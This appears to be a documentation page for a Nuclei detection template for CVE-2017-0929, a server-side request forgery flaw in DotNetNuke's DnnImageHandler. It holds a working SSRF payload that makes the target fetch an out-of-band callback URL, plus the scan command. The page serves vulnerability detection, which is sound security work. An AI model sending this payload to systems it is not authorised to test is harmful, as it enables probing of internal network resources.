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DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery

ID: CVE-2017-0929

Severity: high

Author: charanrayudu,meme-lord

Tags: cve2017,cve,dnn,dotnetnuke,hackerone,oast,ssrf,dnnsoftware

Description

Section titled “Description”

DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.

YAML Source

Section titled “YAML Source”
id: CVE-2017-0929


info:
  name: DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery
  author: charanrayudu,meme-lord
  severity: high
  description: DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade DotNetNuke (DNN) ImageHandler to version 9.2.0 or above.
  reference:
    - https://hackerone.com/reports/482634
    - https://nvd.nist.gov/vuln/detail/CVE-2017-0929
    - https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-0929
    cwe-id: CWE-918
    epss-score: 0.00753
    epss-percentile: 0.80628
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
  tags: cve2017,cve,dnn,dotnetnuke,hackerone,oast,ssrf,dnnsoftware


http:
  - method: GET
    path:
      - '{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}'


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: status
        status:
          - 500
# digest: 490a0046304402205a119e5ecded5ee4836710d4e94ff6f11fdca1ca813692ab0e11b4e791ac9b530220434d42ce7916eca7371b47c3f6a44205e7e5a4f74f71558e5c3648c2eb5a706e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-0929.yaml"

View on Github